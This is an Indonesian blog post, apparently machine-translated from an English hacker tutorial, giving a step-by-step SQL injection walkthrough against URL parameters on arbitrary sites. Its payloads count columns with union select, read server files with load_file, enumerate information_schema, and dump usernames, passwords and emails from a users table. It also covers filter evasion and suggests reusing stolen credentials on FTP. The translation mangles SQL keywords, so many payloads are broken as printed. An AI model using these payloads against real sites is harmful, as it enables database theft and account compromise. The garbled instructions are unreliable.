SQL Injection

Hello Broo…  Kali ini saya m posting injeksi sql , yang saya temukan cukup menarik untuk membaca dan permata SQL Injection – Belajar Attack untuk berbagi. SQL injection tutorial ini akan jelas yang paling Anda dari keraguan injeksi sql dan rapi akan tahap dalam strategi serangan untuk Anda.

SQL Injection didefinisikan oleh http://www.h-spot.net/threat_glossary.htm sebagai:

“Tindakan memasukkan data cacat atau tak terduga (mungkin dalam bentuk web front-end atau front-end aplikasi misalnya) sehingga database back-end SQL berjalan di belakang situs web atau aplikasi mengeksekusi perintah SQL yang programmer tidak pernah dimaksudkan untuk memungkinkan , mungkin memungkinkan penyusup untuk masuk ke atau kerusakan database. ”

Informasi Latar Belakang

* Hal ini dianggap kelemahan web yang paling umum saat ini
* Ini adalah cacat dalam aplikasi web – bukan db, atau server
* Dapat disuntikkan ke: Cookie, Bentuk, dan parameter URL

Pelajaran Fakta

* Pelajaran ini menggunakan sintaks MySQL untuk semua contoh.
* Pelajaran ini tidak memberikan alasan mengapa situs rentan, hanya bagaimana mengeksploitasi mereka
* Pelajaran ini hanya menyediakan contoh injeksi sql untuk parameter url seperti itu adalah suatu subjek besar di itu sendiri
* Pelajaran ini memberikan contoh kecil dari teknik penggelapan filter

Pelajaran

Beberapa perintah Anda perlu mengetahui:

‘union all select’ : combines two or more select statements into one query and returns all rows

‘order by’ : used to sort rows after a select statement is executed

‘load_file()’ : loads a local file from the site or server examples would be .htaccess or /etc/passwd

‘char()’ : used to change decimal ascii to strings, can be used for filter evasion–in sql injections, used in conjunction with load_file

‘concat()’ : combines more than one column into a single column, enabling more columns to be selected than the number that are showing on the page (You will understand better later)

‘—’ : a comment

‘/*’ : another type a comment

Query SQL Injection ke URL Parameter

Jadi Anda telah menemukan sebuah situs: ‘

http://www.site.com/index.php?id=5

dan ingin menguji apakah itu rentan terhadap Suntikan SQL. Mulailah dengan memeriksa apakah Anda dapat menjalankan beberapa query Anda sendiri, jadi coba:

/ Index.php? Id = 5 dan 1 = 0 –

Jika setelah menjalankan pernyataan di atas, apa-apa yang telah terjadi dan halaman masih tetap sama, Anda dapat mencoba:

/ Index.php? Id = ‘

Jika tidak kerja mereka, untuk tujuan tutorial ini pindah ke situs lain. Jika tidak, jika muncul halaman kosong yang baru saja Anda mungkin beruntung!

Sekarang kita ingin menemukan berapa banyak kolom dan mana yang menunjukkan ketika laporan pilih dijalankan maka kami menggunakan:

/ Index.php id = 5 order by 20?

Jika Anda mendapatkan penurunan kesalahan nomor 20, jika tidak ada kesalahan terus incrementing sampai Anda mendapatkan satu dan kemudian jumlah sebelum kesalahan Anda adalah jumlah kolom dalam tabel Anda memilih dari.

Contoh:

/ Index.php id = 5 order oleh 15 <? – Kembali tidak ada kesalahan, tetapi / index.php? Id = 5 order 16

kembali kesalahan, maka kita tahu bahwa terdapat 15 kolom dalam pernyataan pilih kami.

Pernyataan berikutnya akan null id = 5, sehingga script hanya mengeksekusi perintah kami dan tidak itu sendiri, dan menunjukkan kita yang kolom kita dapat mengekstrak data dari:

/ Index.php? Id = serikat null semua 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 pilih –

komentar komentar yang keluar apa script akan menambahkan ke akhir sehingga hanya pernyataan pernyataan kita memandang.

Jadi sekarang lihat halaman dan jika Anda melihat salah satu dari angka yang Anda hanya mengetik, Anda tahu kolom yang ditampilkan, dan kita bisa mengumpulkan informasi dari mereka. Untuk contoh ini, mari kita berpura-pura kolom 5, 7, dan 9 ditampilkan.

Sekarang kita dapat mulai mengumpulkan informasi!

/ Index.php? Id = serikat null semua 1,2,3,4 pilih, user (), 6, database (), 8, versi (), 10,11,12,1 3,14,15 –

Seperti yang dapat Anda lihat kami memilih nilai-nilai dari kolom yang menunjukkan, bagaimana jika kita ingin membersihkan ini sedikit, dan menempatkan semua nilai-nilai yang dipilih dalam satu kolom? Di sinilah penggabungan strings () muncul di:

/ Index.php? Id = serikat null semua 1,2,3,4 pilih, penggabungan strings (user (), char (58), database (), char (58), versi ()), 6,7,8, 9,10,11,12,13,14,15 –

Sekarang lihat pada halaman Anda, pengguna (), database (), dan versi () semua di satu tempat, dan dipisahkan oleh tanda titik dua ini menunjukkan penggunaan penggabungan strings () dan char ().

Pengguna () biasanya akan memberikan sesuatu seperti username @ localhost, tapi Anda mungkin beruntung dan mendapatkan username @ ipaddresshere, dalam hal ini Anda bisa mencoba untuk brute force login FTP. Versi yang akan membantu Anda mencari exploit untuk itu versi database () digunakan – tetapi hanya jika Anda skiddy sebuah!

Sebelum kita dapat memeriksa apakah kita telah perms load_file, kita harus mendapatkan FPD (Full Path Disclosure) agar kita tahu persis dimana file berada bahwa kita mencoba untuk membuka. Berikut adalah beberapa cara untuk mendapatkan FPD:

/ Index.php? Id [] =

Anda bisa mencoba Google path penuh kepada situs dengan mencoba sesuatu seperti “/ / sitename rumah” dan berharap bahwa Anda akan menemukan sesuatu di Google

Sesi Cookie Trick

Terima kasih kepada haZed di enigmagroup.org. Dalam jenis url:

‘Java script: void (document.cookie = “PHPSESSID =”);’

Ini akan memberikan session_start () error dan FPD.

Sekarang kita akan mencoba untuk menggunakan load_file (), contoh ini akan membuka file. Htaccess, pastikan Anda tahu file yang Anda coba untuk memuat benar-benar ada atau Anda dapat kehilangan kesempatan Anda untuk menyadari apa perms besar Anda telah:

/ Index.php? Id = serikat null semua 1,2,3,4 pilih, load_file (char (47, 104, 111, 109, 101, 47, 115, 105, 116, 101, 110, 97, 109, 101 , 47, 100, 105, 114, 47, 97, 108, 108, 111, 102, 116, 104, 105, 115, 105, 115, 102, 114, 111, 109, 111, 117, 114, 102, 112 , 100, 47, 46, 104, 116, 97, 99, 99, 101, 115, 115)) ,6,7,8,9,10,11,12,13,14,15 –

Jika Anda melihat file htaccess,. Congrats! Anda telah load_file () perms. Sekarang mencoba memuat menyertakan file seperti config.inc.php untuk username database dan password, berharap bahwa admin tersebut cukup bodoh menggunakan nama pengguna yang sama dan password untuk ftp. Ide lain akan memuat htpasswd setelah menemukan itu lokasi dari.. htaccess dan kemudian log in ke semua wilayah yang dilindungi sandi yang ingin Anda di situs.

Jika Anda tidak melihat file htaccess., Saya akan termasuk salah satu cara lain untuk ekstrak info dengan menggunakan suntikan sql.

Menggunakan information_schema.tables

Jadi Anda tidak memiliki load_file () perms? Tidak masalah, kami dapat memeriksa information_schema.tables.

1) ‘table_name’ adalah nama tabel yang ada pada seluruh tabel information_schema pada setiap situs:

/ Index.php? Id = serikat null semua 1,2,3,4 pilih, table_name, 6,7,8,9,10,11,12,13,14,15 dari information_schema.tables–

Jika situs menampilkan information_schema.tables, CHARACTER_SETS kata ” akan muncul dalam kolom 5. Apa yang dapat saya lakukan dengan CHARACTER_SETS Anda mungkin bertanya-tanya. Yah, tidak ada yang aku akan menunjukkan Anda, tetapi Anda bisa mencari tahu tabel lain yang ada di situs. The information_schema.tables berisi daftar setiap meja di database di situs, sehingga Anda dapat memperoleh nama pengguna meja dan mungkin password jika mereka ada … Lalu apa yang Anda pikir information_schema.columns terus? Itu benar, daftar semua kolom di situs. Jadi, daripada hanya menggunakan injeksi di atas Anda dapat mencoba salah satu dari berikut:

-/index.php? id = serikat null semua 1,2,3,4 pilih, table_name berbeda, 6,7,8,9,10,11,12,13,14,15 dari information_schema.tables-

Pilih semua ‘nama tabel yang berbeda’ dari information_schema.tables, yang berarti akan mencetak semua tabel pada satu waktu

-/index.php? id = serikat null semua 1,2,3,4 pilih, penggabungan strings (table_name, char (58), column_name), 6, 7,8,9,10,11,12,13,14, 15 dari information_schema.columns-

Pilih semua tabel dan kolom yang masing-masing pergi dengan tabel yang dipisahkan oleh titik dua

2) Jika tidak ada permintaan di atas memberikan apa-apa kecuali untuk ‘CHARACTER_SETS’ Anda harus menggunakan pencacahan untuk menentukan nama tabel lain:

/ Index.php? Id = serikat null semua 1,2,3,4 pilih, table_name, 6,7,8,9,10,11,12,13,14,15 dari information_schema.tables mana table_name! = “CHARACTER_SETS “-

Maka akan menampilkan tabel berikutnya sejalan sehingga Anda akan memodifikasi di atas untuk mengatakan:

mana table_name = “CHARACTER_SETS” dan table_name = “nexttableinline”!! –

Sampai ada tabel show, maka anda dapat melakukan hal yang sama untuk kolom.

3) Sekarang setelah Anda dieksekusi satu atau semua laporan keuangan tersebut, katakanlah Anda menemukan pengguna tabel ” dan memiliki username kolom ‘,’ password ‘,’ id ‘, dan’ email ‘. Untuk ekstrak yang info dari tabel, gunakan:

/ Index.php? Id = serikat null semua 1,2,3,4 pilih, penggabungan strings (username, char (58), password, char (58), id, char (58), email), 6,7,8 , 9,10,11,12,13,14,15 dari pengguna –

Dan Anda akan mendapatkan info yang Anda minta, tentu saja Anda dapat memodifikasi bahwa yang Anda inginkan seperti:

-/index.php? id = serikat null semua 1,2,3,4 pilih, nama pengguna, 6, sandi, 8,9,10,11,12,13,14,15 dari pengguna mana id = 1 –

-/index.php? id = serikat null semua 1,2,3,4 pilih, penggabungan strings (password, char (58), id, char (58), email), 6,7,8,9,10,11 , 12,13,14,15 dari pengguna dimana username = ‘Admin’

Mengganti Admin dengan nama pengguna seperti puncak dll admin atau pemilik.

Final Tips

Dengan sedikit keberuntungan, salah satu dari metode telah bekerja untuk Anda dan Anda mampu mencapai tujuan Anda. Namun, jika tidak ada dari mereka bekerja, Anda bisa mulai menebak nama tabel yang umum dan kemudian kolom:

/ Index.php? Id = serikat null semua 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 pilih dari pengguna

Jika halaman muncul, Anda tahu meja ada dan Anda bisa mulai menebak nama kolom:

/ Index.php? Id = serikat null semua 1,2,3,4 pilih, username, 6,7,8,9,10,11,12,13,14,15 dari pengguna

Jika Anda mendapatkan nama pengguna, pekerjaan yang baik Anda menebak sebuah meja yang benar dan kolom, dinyatakan tetap menebak-nebak.

Filter Pengelakan Teknik

* Anda dapat URL Encode karakter, hex menyandikan mereka, menggunakan penyandian yang Anda suka selama browser Anda dapat menafsirkannya
* Sebaliknya kemudian menggunakan ‘serikat semua pilih’ mencoba ‘Union Pilih semua’ untuk melihat apakah kasus cek filter
* Coba gunakan tanda plus untuk membagi kata atas: ” uni ‘+’ on ” + + ” semua ‘+’ ‘+’ + ‘lek Se’
* Kombinasikan metode yang disebutkan di atas menggunakan kasus yang berbeda, ditambah operator, dan bukan hanya teks tetapi juga encoding
* Jadilah kreatif

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: